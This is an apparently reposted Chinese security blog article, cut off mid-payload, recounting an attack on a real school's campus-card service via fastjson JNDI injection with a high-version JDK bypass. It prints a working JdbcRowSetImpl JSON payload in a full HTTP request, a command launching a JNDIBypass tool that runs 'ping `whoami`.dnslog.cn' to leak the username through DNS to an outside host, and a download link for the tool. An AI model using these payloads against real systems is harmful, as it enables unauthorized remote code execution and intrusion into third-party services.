专栏名称: 衡阳信安
船山院士网络安全团队唯一公众号,为国之安全而奋斗,为信息安全而发声!
目录
相关文章推荐
今晚报  ·  鹿晗关晓彤……热搜第一! ·  6 小时前  
一口老井  ·  董小姐的棋局,是妙招还是险棋? ·  昨天  
一口老井  ·  董小姐的棋局,是妙招还是险棋? ·  昨天  
51好读  ›  专栏  ›  衡阳信安

实战中的高版本JDK的JNDI注入

衡阳信安  · 公众号  ·  · 2024-09-01 00:00

正文

关于JNDI注入一直都是在CTF中见到的,偶然在实战中碰到了一个fastjson,是一个公众号绑定校卡的点

通过burpsuite的插件扫到了存在fastjson的漏洞


通过下面payload去验证是否为误报

POST /baas/base/base/sqlQuery HTTP/1.1
Host: xxxxxxx
Connection: close
Content-Length: 111
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x63090a13) XWEB/9115 Flue
Content-Type: application/json
Origin: xxxxxxx
Referer: xxxxxxx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=00ED21A4EBE658A4D2B423E77CE019D5

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://dnslog","autoCommit":true}}

请求dnslog是能够成功的,但是执行命令始终无法成功,通过一些编码绕过也没有成功,一度没有思路不知道为什么失败,只能请求dnslog也无法提交
放了一段时间后想起来jndi注入在高版本jdk是存在限制的trustURLCodebase默认为false,无法加载远程的恶意类文件,只能加载CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件,想起来之前还分析过高版本jndi注入绕过方法,汗流浃背了,想到这个点后马上去验证,实战中直接利用工具就好了,不像CTF需要手搓链子,主打一个高效,工具地址为https://pan.baidu.com/s/1RW5Cvg1KtLuIrQ5LZPoRFQ?pwd=aij8
vps运行这个工具

java -jar JNDIBypass.jar -p 1389 -c "ping `whoami`.dnslog.cn"

执行下面这个payload

{"@type":"com.alibaba.fastjson.JSONObject",{"@type"






请到「今天看啥」查看全文